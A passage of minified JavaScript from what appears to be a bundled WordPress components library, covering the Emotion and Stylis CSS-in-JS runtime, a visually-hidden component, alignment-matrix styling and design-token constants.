xa(e,t,n,r,o,i,s,a,l){for(var c=0,u=0,d=s,p=0,f=0,h=0,m=1,g=1,v=1,b=0,x="",y=o,w=i,_=r,S=x;g;)switch(h=b,b=Xs()){case 40:if(108!=h&&58==zs(S,d-1)){-1!=Ds(S+=As(ra(b),"&","&\f"),"&\f")&&(v=-1);break}case 34:case 39:case 91:S+=ra(b);break;case 9:case 10:case 13:case 32:S+=oa(h);break;case 92:S+=ia(Qs()-1,7);continue;case 47:switch(Zs()){case 42:case 47:Bs(wa(aa(Xs(),Qs()),t,n),l);break;default:S+="/"}break;case 123*m:a[c++]=Ls(S)*v;case 125*m:case 59:case 0:switch(b){case 0:case 125:g=0;case 59+u:f>0&&Ls(S)-d&&Bs(f>32?_a(S+";",r,n,d-1):_a(As(S," ","")+";",r,n,d-2),l);break;case 59:S+=";";default:if(Bs(_=ya(S,t,n,c,u,o,a,x,y=[],w=[],d),i),123===b)if(0===u)xa(S,t,_,_,y,i,d,a,w);else switch(99===p&&110===zs(S,3)?100:p){case 100:case 109:case 115:xa(e,_,_,r&&Bs(ya(e,_,_,0,0,o,a,x,o,y=[],d),w),o,w,d,a,r?y:w);break;default:xa(S,_,_,_,[""],w,0,a,w)}}c=u=f=0,m=v=1,x=S="",d=s;break;case 58:d=1+Ls(S),f=h;default:if(m<1)if(123==b)--m;else if(125==b&&0==m++&&125==Ys())continue;switch(S+=Is(b),b*m){case 38:v=u>0?1:(S+="\f",-1);break;case 44:a[c++]=(Ls(S)-1)*v,v=1;break;case 64:45===Zs()&&(S+=ra(Xs())),p=Zs(),u=d=Ls(x=S+=la(Qs())),b++;break;case 45:45===h&&2==Ls(S)&&(m=0)}}return i}function ya(e,t,n,r,o,i,s,a,l,c,u){for(var d=o-1,p=0===o?i:[""],f=Fs(p),h=0,m=0,g=0;h<r;++h)for(var v=0,b=Os(e,d+1,d=Ts(m=s[h])),x=e;v<f;++v)(x=Ms(m>0?p[v]+" "+b:As(b,/&\f/g,p[v])))&&(l[g++]=x);return Ks(e,t,n,0===o?fa:a,l,c,u)}function wa(e,t,n){return Ks(e,t,n,pa,Is(Us),Os(e,2,-2),0)}function _a(e,t,n,r){return Ks(e,t,n,ha,Os(e,0,r),Os(e,r+1,-1),r)}var Sa=function(e,t,n){for(var r=0,o=0;r=o,o=Zs(),38===r&&12===o&&(t[n]=1),!ea(o);)Xs();return Js(e,Ws)},Ca=function(e,t){return na(function(e,t){var n=-1,r=44;do{switch(ea(r)){case 0:38===r&&12===Zs()&&(t[n]=1),e[n]+=Sa(Ws-1,t,n);break;case 2:e[n]+=ra(r);break;case 4:if(44===r){e[++n]=58===Zs()?"&\f":"",t[n]=e[n].length;break}default:e[n]+=Is(r)}}while(r=Xs());return e}(ta(e),t))},ka=new WeakMap,ja=function(e){if("rule"===e.type&&e.parent&&!(e.length<1)){for(var t=e.value,n=e.parent,r=e.column===n.column&&e.line===n.line;"rule"!==n.type;)if(!(n=n.parent))return;if((1!==e.props.length||58===t.charCodeAt(0)||ka.get(n))&&!r){ka.set(e,!0);for(var o=[],i=Ca(t,o),s=n.props,a=0,l=0;a<i.length;a++)for(var c=0;c<s.length;c++,l++)e.props[l]=o[a]?i[a].replace(/&\f/g,s[c]):s[c]+" "+i[a]}}},Ea=function(e){if("decl"===e.type){var t=e.value;108===t.charCodeAt(0)&&98===t.charCodeAt(2)&&(e.return="",e.value="")}};function Pa(e,t){switch(function(e,t){return 45^zs(e,0)?(((t<<2^zs(e,0))<<2^zs(e,1))<<2^zs(e,2))<<2^zs(e,3):0}(e,t)){case 5103:return da+"print-"+e+e;case 5737:case 4201:case 3177:case 3433:case 1641:case 4457:case 2921:case 5572:case 6356:case 5844:case 3191:case 6645:case 3005:case 6391:case 5879:case 5623:case 6135:case 4599:case 4855:case 4215:case 6389:case 5109:case 5365:case 5621:case 3829:return da+e+e;case 5349:case 4246:case 4810:case 6968:case 2756:return da+e+ua+e+ca+e+e;case 6828:case 4268:return da+e+ca+e+e;case 6165:return da+e+ca+"flex-"+e+e;case 5187:return da+e+As(e,/(\w+).+(:[^]+)/,da+"box-$1$2"+ca+"flex-$1$2")+e;case 5443:return da+e+ca+"flex-item-"+As(e,/flex-|-self/,"")+e;case 4675:return da+e+ca+"flex-line-pack"+As(e,/align-content|flex-|-self/,"")+e;case 5548:return da+e+ca+As(e,"shrink","negative")+e;case 5292:return da+e+ca+As(e,"basis","preferred-size")+e;case 6060:return da+"box-"+As(e,"-grow","")+da+e+ca+As(e,"grow","positive")+e;case 4554:return da+As(e,/([^-])(transform)/g,"$1"+da+"$2")+e;case 6187:return As(As(As(e,/(zoom-|grab)/,da+"$1"),/(image-set)/,da+"$1"),e,"")+e;case 5495:case 3959:return As(e,/(image-set\([^]*)/,da+"$1$`$1");case 4968:return As(As(e,/(.+:)(flex-)?(.*)/,da+"box-pack:$3"+ca+"flex-pack:$3"),/s.+-b[^;]+/,"justify")+da+e+e;case 4095:case 3583:case 4068:case 2532:return As(e,/(.+)-inline(.+)/,da+"$1$2")+e;case 8116:case 7059:case 5753:case 5535:case 5445:case 5701:case 4933:case 4677:case 5533:case 5789:case 5021:case 4765:if(Ls(e)-1-t>6)switch(zs(e,t+1)){case 109:if(45!==zs(e,t+4))break;case 102:return As(e,/(.+:)(.+)-([^]+)/,"$1"+da+"$2-$3$1"+ua+(108==zs(e,t+3)?"$3":"$2-$3"))+e;case 115:return~Ds(e,"stretch")?Pa(As(e,"stretch","fill-available"),t)+e:e}break;case 4949:if(115!==zs(e,t+1))break;case 6444:switch(zs(e,Ls(e)-3-(~Ds(e,"!important")&&10))){case 107:return As(e,":",":"+da)+e;case 101:return As(e,/(.+:)([^;!]+)(;|!.+)?/,"$1"+da+(45===zs(e,14)?"inline-":"")+"box$3$1"+da+"$2$3$1"+ca+"$2box$3")+e}break;case 5936:switch(zs(e,t+11)){case 114:return da+e+ca+As(e,/[svh]\w+-[tblr]{2}/,"tb")+e;case 108:return da+e+ca+As(e,/[svh]\w+-[tblr]{2}/,"tb-rl")+e;case 45:return da+e+ca+As(e,/[svh]\w+-[tblr]{2}/,"lr")+e}return da+e+ca+e+e}return e}var Na=[function(e,t,n,r){if(e.length>-1&&!e.return)switch(e.type){case ha:e.return=Pa(e.value,e.length);break;case ma:return ga([qs(e,{value:As(e.value,"@","@"+da)})],r);case fa:if(e.length)return function(e,t){return e.map(t).join("")}(e.props,(function(t){switch(function(e,t){return(e=t.exec(e))?e[0]:e}(t,/(::plac\w+|:read-\w+)/)){case":read-only":case":read-write":return ga([qs(e,{props:[As(t,/:(read-\w+)/,":-moz-$1")]})],r);case"::placeholder":return ga([qs(e,{props:[As(t,/:(plac\w+)/,":"+da+"input-$1")]}),qs(e,{props:[As(t,/:(plac\w+)/,":-moz-$1")]}),qs(e,{props:[As(t,/:(plac\w+)/,ca+"input-$1")]})],r)}return""}))}}];const Ta=function(e){var t=e.key;if("css"===t){var n=document.querySelectorAll("style[data-emotion]:not([data-s])");Array.prototype.forEach.call(n,(function(e){-1!==e.getAttribute("data-emotion").indexOf(" ")&&(document.head.appendChild(e),e.setAttribute("data-s",""))}))}var r=e.stylisPlugins||Na;var o,i,s={},a=[];o=e.container||document.head,Array.prototype.forEach.call(document.querySelectorAll('style[data-emotion^="'+t+' "]'),(function(e){for(var t=e.getAttribute("data-emotion").split(" "),n=1;n<t.length;n++)s[t[n]]=!0;a.push(e)}));var l,c,u,d,p=[va,(d=function(e){l.insert(e)},function(e){e.root||(e=e.return)&&d(e)})],f=(c=[ja,Ea].concat(r,p),u=Fs(c),function(e,t,n,r){for(var o="",i=0;i<u;i++)o+=c[i](e,t,n,r)||"";return o});i=function(e,t,n,r){l=n,function(e){ga(ba(e),f)}(e?e+"{"+t.styles+"}":t.styles),r&&(h.inserted[t.name]=!0)};var h={key:t,sheet:new Ns({key:t,container:o,nonce:e.nonce,speedy:e.speedy,prepend:e.prepend,insertionPoint:e.insertionPoint}),nonce:e.nonce,inserted:s,registered:{},insert:i};return h.sheet.hydrate(a),h};const Ia=function(e){for(var t,n=0,r=0,o=e.length;o>=4;++r,o-=4)t=1540483477*(65535&(t=255&e.charCodeAt(r)|(255&e.charCodeAt(++r))<<8|(255&e.charCodeAt(++r))<<16|(255&e.charCodeAt(++r))<<24))+(59797*(t>>>16)<<16),n=1540483477*(65535&(t^=t>>>24))+(59797*(t>>>16)<<16)^1540483477*(65535&n)+(59797*(n>>>16)<<16);switch(o){case 3:n^=(255&e.charCodeAt(r+2))<<16;case 2:n^=(255&e.charCodeAt(r+1))<<8;case 1:n=1540483477*(65535&(n^=255&e.charCodeAt(r)))+(59797*(n>>>16)<<16)}return(((n=1540483477*(65535&(n^=n>>>13))+(59797*(n>>>16)<<16))^n>>>15)>>>0).toString(36)};const Ra={animationIterationCount:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1};function Ma(e){var t=Object.create(null);return function(n){return void 0===t[n]&&(t[n]=e(n)),t[n]}}var Aa=/[A-Z]|^ms/g,Da=/_EMO_([^_]+?)_([^]*?)_EMO_/g,za=function(e){return 45===e.charCodeAt(1)},Oa=function(e){return null!=e&&"boolean"!=typeof e},La=Ma((function(e){return za(e)?e:e.replace(Aa,"-$&").toLowerCase()})),Fa=function(e,t){switch(e){case"animation":case"animationName":if("string"==typeof t)return t.replace(Da,(function(e,t,n){return Va={name:t,styles:n,next:Va},t}))}return 1===Ra[e]||za(e)||"number"!=typeof t||0===t?t:t+"px"};function Ba(e,t,n){if(null==n)return"";if(void 0!==n.__emotion_styles)return n;switch(typeof n){case"boolean":return"";case"object":if(1===n.anim)return Va={name:n.name,styles:n.styles,next:Va},n.name;if(void 0!==n.styles){var r=n.next;if(void 0!==r)for(;void 0!==r;)Va={name:r.name,styles:r.styles,next:Va},r=r.next;return n.styles+";"}return function(e,t,n){var r="";if(Array.isArray(n))for(var o=0;o<n.length;o++)r+=Ba(e,t,n[o])+";";else for(var i in n){var s=n[i];if("object"!=typeof s)null!=t&&void 0!==t[s]?r+=i+"{"+t[s]+"}":Oa(s)&&(r+=La(i)+":"+Fa(i,s)+";");else if(!Array.isArray(s)||"string"!=typeof s[0]||null!=t&&void 0!==t[s[0]]){var a=Ba(e,t,s);switch(i){case"animation":case"animationName":r+=La(i)+":"+a+";";break;default:r+=i+"{"+a+"}"}}else for(var l=0;l<s.length;l++)Oa(s[l])&&(r+=La(i)+":"+Fa(i,s[l])+";")}return r}(e,t,n);case"function":if(void 0!==e){var o=Va,i=n(e);return Va=o,Ba(e,t,i)}}if(null==t)return n;var s=t[n];return void 0!==s?s:n}var Va,$a=/label:\s*([^\s;\n{]+)\s*(;|$)/g;var Ha=function(e,t,n){if(1===e.length&&"object"==typeof e[0]&&null!==e[0]&&void 0!==e[0].styles)return e[0];var r=!0,o="";Va=void 0;var i=e[0];null==i||void 0===i.raw?(r=!1,o+=Ba(n,t,i)):o+=i[0];for(var s=1;s<e.length;s++)o+=Ba(n,t,e[s]),r&&(o+=i[s]);$a.lastIndex=0;for(var a,l="";null!==(a=$a.exec(o));)l+="-"+a[1];return{name:Ia(o)+l,styles:o,next:Va}},Wa=!!B.useInsertionEffect&&B.useInsertionEffect,Ua=Wa||function(e){return e()},Ga=(0,B.createContext)("undefined"!=typeof HTMLElement?Ta({key:"css"}):null);var Ka=Ga.Provider,qa=function(e){return(0,B.forwardRef)((function(t,n){var r=(0,B.useContext)(Ga);return e(t,r,n)}))},Ya=(0,B.createContext)({});function Xa(e,t,n){var r="";return n.split(" ").forEach((function(n){void 0!==e[n]?t.push(e[n]+";"):r+=n+" "})),r}var Za=function(e,t,n){var r=e.key+"-"+t.name;!1===n&&void 0===e.registered[r]&&(e.registered[r]=t.styles)},Qa=function(e,t,n){Za(e,t,n);var r=e.key+"-"+t.name;if(void 0===e.inserted[t.name]){var o=t;do{e.insert(t===o?"."+r:"",o,e.sheet,!0);o=o.next}while(void 0!==o)}};function Ja(e,t){if(void 0===e.inserted[t.name])return e.insert("",t,e.sheet,!0)}function el(e,t,n){var r=[],o=Xa(e,r,n);return r.length<2?n:o+t(r)}var tl=function e(t){for(var n="",r=0;r<t.length;r++){var o=t[r];if(null!=o){var i=void 0;switch(typeof o){case"boolean":break;case"object":if(Array.isArray(o))i=e(o);else for(var s in i="",o)o[s]&&s&&(i&&(i+=" "),i+=s);break;default:i=o}i&&(n&&(n+=" "),n+=i)}}return n};const nl=function(e){var t=Ta(e);t.sheet.speedy=function(e){this.isSpeedy=e},t.compat=!0;var n=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];var o=Ha(n,t.registered,void 0);return Qa(t,o,!1),t.key+"-"+o.name};return{css:n,cx:function(){for(var e=arguments.length,r=new Array(e),o=0;o<e;o++)r[o]=arguments[o];return el(t.registered,n,tl(r))},injectGlobal:function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];var o=Ha(n,t.registered);Ja(t,o)},keyframes:function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];var o=Ha(n,t.registered),i="animation-"+o.name;return Ja(t,{name:o.name,styles:"@keyframes "+i+"{"+o.styles+"}"}),i},hydrate:function(e){e.forEach((function(e){t.inserted[e]=!0}))},flush:function(){t.registered={},t.inserted={},t.sheet.flush()},sheet:t.sheet,cache:t,getRegisteredStyles:Xa.bind(null,t.registered),merge:el.bind(null,t.registered,n)}};var rl=nl({key:"css"}),ol=(rl.flush,rl.hydrate,rl.cx);rl.merge,rl.getRegisteredStyles,rl.injectGlobal,rl.keyframes,rl.css,rl.sheet,rl.cache;const il=()=>{const e=(0,B.useContext)(Ga),t=(0,c.useCallback)(((...t)=>{if(null===e)throw new Error("The `useCx` hook should be only used within a valid Emotion Cache Context");return ol(...t.map((t=>(e=>null!=e&&["name","styles"].every((t=>void 0!==e[t])))(t)?(Qa(e,t,!1),`${e.key}-${t.name}`):t)))}),[e]);return t};function sl(e,t){const n=ms(),r=n?.[t]||{},o={[bs]:!0,...(i=t,{[vs]:i})};var i;const{_overrides:s,...a}=r,l=Object.entries(a).length?Object.assign({},a,e):e,c=il()(Ps(t),e.className),u="function"==typeof l.renderChildren?l.renderChildren(l):l.children;for(const e in l)o[e]=l[e];for(const e in s)o[e]=s[e];return void 0!==u&&(o.children=u),o.className=c,o}function al(e,t){return cl(e,t,{forwardsRef:!0})}function ll(e,t){return cl(e,t)}function cl(e,t,n){const r=n?.forwardsRef?(0,c.forwardRef)(e):e;let o=r[xs]||[t];return Array.isArray(t)&&(o=[...o,...t]),"string"==typeof t&&(o=[...o,t]),Object.assign(r,{[xs]:[...new Set(o)],displayName:t,selector:`.${Ps(t)}`})}function ul(e){if(!e)return[];let t=[];return e[xs]&&(t=e[xs]),e.type&&e.type[xs]&&(t=e.type[xs]),t}function dl(e,t){return!!e&&("string"==typeof t?ul(e).includes(t):!!Array.isArray(t)&&t.some((t=>ul(e).includes(t))))}const pl={border:0,clip:"rect(1px, 1px, 1px, 1px)",WebkitClipPath:"inset( 50% )",clipPath:"inset( 50% )",height:"1px",margin:"-1px",overflow:"hidden",padding:0,position:"absolute",width:"1px",wordWrap:"normal"};function fl(){return fl=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},fl.apply(null,arguments)}var hl=/^((children|dangerouslySetInnerHTML|key|ref|autoFocus|defaultValue|defaultChecked|innerHTML|suppressContentEditableWarning|suppressHydrationWarning|valueLink|abbr|accept|acceptCharset|accessKey|action|allow|allowUserMedia|allowPaymentRequest|allowFullScreen|allowTransparency|alt|async|autoComplete|autoPlay|capture|cellPadding|cellSpacing|challenge|charSet|checked|cite|classID|className|cols|colSpan|content|contentEditable|contextMenu|controls|controlsList|coords|crossOrigin|data|dateTime|decoding|default|defer|dir|disabled|disablePictureInPicture|download|draggable|encType|enterKeyHint|form|formAction|formEncType|formMethod|formNoValidate|formTarget|frameBorder|headers|height|hidden|high|href|hrefLang|htmlFor|httpEquiv|id|inputMode|integrity|is|keyParams|keyType|kind|label|lang|list|loading|loop|low|marginHeight|marginWidth|max|maxLength|media|mediaGroup|method|min|minLength|multiple|muted|name|nonce|noValidate|open|optimum|pattern|placeholder|playsInline|poster|preload|profile|radioGroup|readOnly|referrerPolicy|rel|required|reversed|role|rows|rowSpan|sandbox|scope|scoped|scrolling|seamless|selected|shape|size|sizes|slot|span|spellCheck|src|srcDoc|srcLang|srcSet|start|step|style|summary|tabIndex|target|title|translate|type|useMap|value|width|wmode|wrap|about|datatype|inlist|prefix|property|resource|typeof|vocab|autoCapitalize|autoCorrect|autoSave|color|incremental|fallback|inert|itemProp|itemScope|itemType|itemID|itemRef|on|option|results|security|unselectable|accentHeight|accumulate|additive|alignmentBaseline|allowReorder|alphabetic|amplitude|arabicForm|ascent|attributeName|attributeType|autoReverse|azimuth|baseFrequency|baselineShift|baseProfile|bbox|begin|bias|by|calcMode|capHeight|clip|clipPathUnits|clipPath|clipRule|colorInterpolation|colorInterpolationFilters|colorProfile|colorRendering|contentScriptType|contentStyleType|cursor|cx|cy|d|decelerate|descent|diffuseConstant|direction|display|divisor|dominantBaseline|dur|dx|dy|edgeMode|elevation|enableBackground|end|exponent|externalResourcesRequired|fill|fillOpacity|fillRule|filter|filterRes|filterUnits|floodColor|floodOpacity|focusable|fontFamily|fontSize|fontSizeAdjust|fontStretch|fontStyle|fontVariant|fontWeight|format|from|fr|fx|fy|g1|g2|glyphName|glyphOrientationHorizontal|glyphOrientationVertical|glyphRef|gradientTransform|gradientUnits|hanging|horizAdvX|horizOriginX|ideographic|imageRendering|in|in2|intercept|k|k1|k2|k3|k4|kernelMatrix|kernelUnitLength|kerning|keyPoints|keySplines|keyTimes|lengthAdjust|letterSpacing|lightingColor|limitingConeAngle|local|markerEnd|markerMid|markerStart|markerHeight|markerUnits|markerWidth|mask|maskContentUnits|maskUnits|mathematical|mode|numOctaves|offset|opacity|operator|order|orient|orientation|origin|overflow|overlinePosition|overlineThickness|panose1|paintOrder|pathLength|patternContentUnits|patternTransform|patternUnits|pointerEvents|points|pointsAtX|pointsAtY|pointsAtZ|preserveAlpha|preserveAspectRatio|primitiveUnits|r|radius|refX|refY|renderingIntent|repeatCount|repeatDur|requiredExtensions|requiredFeatures|restart|result|rotate|rx|ry|scale|seed|shapeRendering|slope|spacing|specularConstant|specularExponent|speed|spreadMethod|startOffset|stdDeviation|stemh|stemv|stitchTiles|stopColor|stopOpacity|strikethroughPosition|strikethroughThickness|string|stroke|strokeDasharray|strokeDashoffset|strokeLinecap|strokeLinejoin|strokeMiterlimit|strokeOpacity|strokeWidth|surfaceScale|systemLanguage|tableValues|targetX|targetY|textAnchor|textDecoration|textRendering|textLength|to|transform|u1|u2|underlinePosition|underlineThickness|unicode|unicodeBidi|unicodeRange|unitsPerEm|vAlphabetic|vHanging|vIdeographic|vMathematical|values|vectorEffect|version|vertAdvY|vertOriginX|vertOriginY|viewBox|viewTarget|visibility|widths|wordSpacing|writingMode|x|xHeight|x1|x2|xChannelSelector|xlinkActuate|xlinkArcrole|xlinkHref|xlinkRole|xlinkShow|xlinkTitle|xlinkType|xmlBase|xmlns|xmlnsXlink|xmlLang|xmlSpace|y|y1|y2|yChannelSelector|z|zoomAndPan|for|class|autofocus)|(([Dd][Aa][Tt][Aa]|[Aa][Rr][Ii][Aa]|x)-.*))$/,ml=Ma((function(e){return hl.test(e)||111===e.charCodeAt(0)&&110===e.charCodeAt(1)&&e.charCodeAt(2)<91})),gl=function(e){return"theme"!==e},vl=function(e){return"string"==typeof e&&e.charCodeAt(0)>96?ml:gl},bl=function(e,t,n){var r;if(t){var o=t.shouldForwardProp;r=e.__emotion_forwardProp&&o?function(t){return e.__emotion_forwardProp(t)&&o(t)}:o}return"function"!=typeof r&&n&&(r=e.__emotion_forwardProp),r},xl=function(e){var t=e.cache,n=e.serialized,r=e.isStringTag;Za(t,n,r);Ua((function(){return Qa(t,n,r)}));return null};const yl=function e(t,n){var r,o,i=t.__emotion_real===t,s=i&&t.__emotion_base||t;void 0!==n&&(r=n.label,o=n.target);var a=bl(t,n,i),l=a||vl(s),c=!l("as");return function(){var u=arguments,d=i&&void 0!==t.__emotion_styles?t.__emotion_styles.slice(0):[];if(void 0!==r&&d.push("label:"+r+";"),null==u[0]||void 0===u[0].raw)d.push.apply(d,u);else{0,d.push(u[0][0]);for(var p=u.length,f=1;f<p;f++)d.push(u[f],u[0][f])}var h=qa((function(e,t,n){var r=c&&e.as||s,i="",u=[],p=e;if(null==e.theme){for(var f in p={},e)p[f]=e[f];p.theme=(0,B.useContext)(Ya)}"string"==typeof e.className?i=Xa(t.registered,u,e.className):null!=e.className&&(i=e.className+" ");var h=Ha(d.concat(u),t.registered,p);i+=t.key+"-"+h.name,void 0!==o&&(i+=" "+o);var m=c&&void 0===a?vl(r):l,g={};for(var v in e)c&&"as"===v||m(v)&&(g[v]=e[v]);return g.className=i,g.ref=n,(0,B.createElement)(B.Fragment,null,(0,B.createElement)(xl,{cache:t,serialized:h,isStringTag:"string"==typeof r}),(0,B.createElement)(r,g))}));return h.displayName=void 0!==r?r:"Styled("+("string"==typeof s?s:s.displayName||s.name||"Component")+")",h.defaultProps=t.defaultProps,h.__emotion_real=h,h.__emotion_base=s,h.__emotion_styles=d,h.__emotion_forwardProp=a,Object.defineProperty(h,"toString",{value:function(){return"."+o}}),h.withComponent=function(t,r){return e(t,fl({},n,r,{shouldForwardProp:bl(h,r,!0)})).apply(void 0,d)},h}},wl=yl("div",{target:"e19lxcc00"})("");const _l=Object.assign((0,c.forwardRef)((function({as:e,...t},n){return(0,_t.jsx)(wl,{as:e,ref:n,...t})})),{selector:".components-view"});const Sl=al((function(e,t){const{style:n,...r}=sl(e,"VisuallyHidden");return(0,_t.jsx)(_l,{ref:t,...r,style:{...pl,...n||{}}})}),"VisuallyHidden"),Cl=[["top left","top center","top right"],["center left","center center","center right"],["bottom left","bottom center","bottom right"]],kl={"top left":(0,a.__)("Top Left"),"top center":(0,a.__)("Top Center"),"top right":(0,a.__)("Top Right"),"center left":(0,a.__)("Center Left"),"center center":(0,a.__)("Center"),center:(0,a.__)("Center"),"center right":(0,a.__)("Center Right"),"bottom left":(0,a.__)("Bottom Left"),"bottom center":(0,a.__)("Bottom Center"),"bottom right":(0,a.__)("Bottom Right")},jl=Cl.flat();function El(e){const t="center"===e?"center center":e,n=t?.replace("-"," ");return jl.includes(n)?n:void 0}function Pl(e,t){const n=El(t);if(!n)return;return`${e}-${n.replace(" ","-")}`}o(1880);function Nl(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return Ha(t)}var Tl=function(){var e=Nl.apply(void 0,arguments),t="animation-"+e.name;return{name:t,styles:"@keyframes "+t+"{"+e.styles+"}",anim:1,toString:function(){return"_EMO_"+this.name+"_"+this.styles+"_EMO_"}}};function Il(e){if(void 0===e)return;if(!e)return"0";const t="number"==typeof e?e:Number(e);return"undefined"!=typeof window&&window.CSS?.supports?.("margin",e.toString())||Number.isNaN(t)?e.toString():`calc(4px * ${e})`}const Rl="#fff",Ml={900:"#1e1e1e",800:"#2f2f2f",700:"#757575",600:"#949494",400:"#ccc",300:"#ddd",200:"#e0e0e0",100:"#f0f0f0"},Al={accent:"var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9))",accentDarker10:"var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6))",accentDarker20:"var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6))",accentInverted:`var(--wp-components-color-accent-inverted, ${Rl})`,background:`var(--wp-components-color-background, ${Rl})`,foreground:`var(--wp-components-color-foreground, ${Ml[900]})`,foregroundInverted:`var(--wp-components-color-foreground-inverted, ${Rl})`,gray:{900:`var(--wp-components-color-foreground, ${Ml[900]})`,800:`var(--wp-components-color-gray-800, ${Ml[800]})`,700:`var(--wp-components-color-gray-700, ${Ml[700]})`,600:`var(--wp-components-color-gray-600, ${Ml[600]})`,400:`var(--wp-components-color-gray-400, ${Ml[400]})`,300:`var(--wp-components-color-gray-300, ${Ml[300]})`,200:`var(--wp-components-color-gray-200, ${Ml[200]})`,100:`var(--wp-components-color-gray-100, ${Ml[100]})`}},Dl={background:Al.background,backgroundDisabled:Al.gray[100],border:Al.gray[600],borderHover:Al.gray[700],borderFocus:Al.accent,borderDisabled:Al.gray[400],textDisabled:Al.gray[600],darkGrayPlaceholder:`color-mix(in srgb, ${Al.foreground}, transparent 38%)`,lightGrayPlaceholder:`color-mix(in srgb, ${Al.background}, transparent 35%)`},zl=Object.freeze({gray:Ml,white:Rl,alert:{yellow:"#f0b849",red:"#d94f4f",green:"#4ab866"},theme:Al,ui:Dl}),Ol="36px",Ll={controlPaddingX:12,controlPaddingXSmall:8,controlPaddingXLarge:12*1.3334,controlBoxShadowFocus:`0 0 0 0.5px ${zl.theme.accent}`,controlHeight:Ol,controlHeightXSmall:`calc( ${Ol} * 0.6 )`,controlHeightSmall:`calc( ${Ol} * 0.8 )`,controlHeightLarge:`calc( ${Ol} * 1.2 )`,controlHeightXLarge:`calc( ${Ol} * 1.4 )`},Fl=Object.assign({},Ll,{colorDivider:"rgba(0, 0, 0, 0.1)",colorScrollbarThumb:"rgba(0, 0, 0, 0.2)",colorScrollbarThumbHover:"rgba(0, 0, 0, 0.5)",colorScrollbarTrack:"rgba(0, 0, 0, 0.04)",elevationIntensity:1,radiusXSmall:"1px",radiusSmall:"2px",radiusMedium:"4px",radiusLarge:"8px",radiusFull:"9999px",radiusRound:"50%",borderWidth:"1px",borderWidthFocus:"1.5px",borderWidthTab:"4px",spinnerSize:16,fontSize:"13px",fontSizeH1:"calc(2.44 * 13px)",fontSizeH2:"calc(1.95 * 13px)",fontSizeH3:"calc(1.56 * 13px)",fontSizeH4:"calc(1.25 * 13px)",fontSizeH5:"13px",fontSizeH6:"calc(0.8 * 13px)",fontSizeInputMobile:"16px",fontSizeMobile:"15px",fontSizeSmall:"calc(0.92 * 13px)",fontSizeXSmall:"calc(0.75 * 13px)",fontLineHeightBase:"1.4",fontWeight:"normal",fontWeightHeading:"600",gridBase:"4px",cardPaddingXSmall:`${Il(2)}`,cardPaddingSmall:`${Il(4)}`,cardPaddingMedium:`${Il(4)} ${Il(6)}`,cardPaddingLarge:`${Il(6)} ${Il(8)}`,elevationXSmall:"0 1px 1px rgba(0, 0, 0, 0.03), 0 1px 2px rgba(0, 0, 0, 0.02), 0 3px 3px rgba(0, 0, 0, 0.02), 0 4px 4px rgba(0, 0, 0, 0.01)",elevationSmall:"0 1px 2px rgba(0, 0, 0, 0.05), 0 2px 3px rgba(0, 0, 0, 0.04), 0 6px 6px rgba(0, 0, 0, 0.03), 0 8px 8px rgba(0, 0, 0, 0.02)",elevationMedium:"0 2px 3px rgba(0, 0, 0, 0.05), 0 4px 5px rgba(0, 0, 0, 0.04), 0 12px 12px rgba(0, 0, 0, 0.03), 0 16px 16px rgba(0, 0, 0, 0.02)",elevationLarge:"0 5px 15px rgba(0, 0, 0, 0.08), 0 15px 27px rgba(0, 0, 0, 0.07), 0 30px 36px rgba(0, 0, 0, 0.04), 0 50px 43px rgba(0, 0, 0, 0.02)",surfaceBackgroundColor:zl.white,surfaceBackgroundSubtleColor:"#F3F3F3",surfaceBackgroundTintColor:"#F5F5F5",surfaceBorderColor:"rgba(0, 0, 0, 0.1)",surfaceBorderBoldColor:"rgba(0, 0, 0, 0.15)",surfaceBorderSubtleColor:"rgba(0, 0, 0, 0.05)",surfaceBackgroundTertiaryColor:zl.white,surfaceColor:zl.white,transitionDuration:"200ms",transitionDurationFast:"160ms",transitionDurationFaster:"120ms",transitionDurationFastest:"100ms",transitionTimingFunction:"cubic-bezier(0.08, 0.52, 0.52, 1)",transitionTimingFunctionControl:"cubic-bezier(0.12, 0.8, 0.32, 1)"});const Bl=({size:e=92})=>Nl("direction:ltr;display:grid;grid-template-columns:repeat( 3, 1fr );grid-template-rows:repeat( 3, 1fr );box-sizing:border-box;width:",e,"px;aspect-ratio:1;border-radius:",Fl.radiusMedium,";outline:none;","");var Vl={name:"e0dnmk",styles:"cursor:pointer"};const $l=yl("div",{target:"e1r95csn3"})(Bl," border:1px solid transparent;",(e=>e.disablePointerEvents?Nl("",""):Vl),";"),Hl=yl("div",{target:"e1r95csn2"})({name:"1fbxn64",styles:"grid-column:1/-1;box-sizing:border-box;display:grid;grid-template-columns:repeat( 3, 1fr )"}),Wl=yl("span",{target:"e1r95csn1"})({name:"e2kws5",styles:"position:relative;display:flex;align-items:center;justify-content:center;box-sizing:border-box;margin:0;padding:0;appearance:none;border:none;outline:none"}),Ul=yl("span",{target:"e1r95csn0"})("display:block;contain:strict;box-sizing:border-box;width:",6,"px;aspect-ratio:1;margin:auto;color:",zl.theme.gray[400],";border:",3,"px solid currentColor;",Wl,"[data-active-item] &{color:",zl.gray[900],";transform:scale( calc( 5 / 3 ) 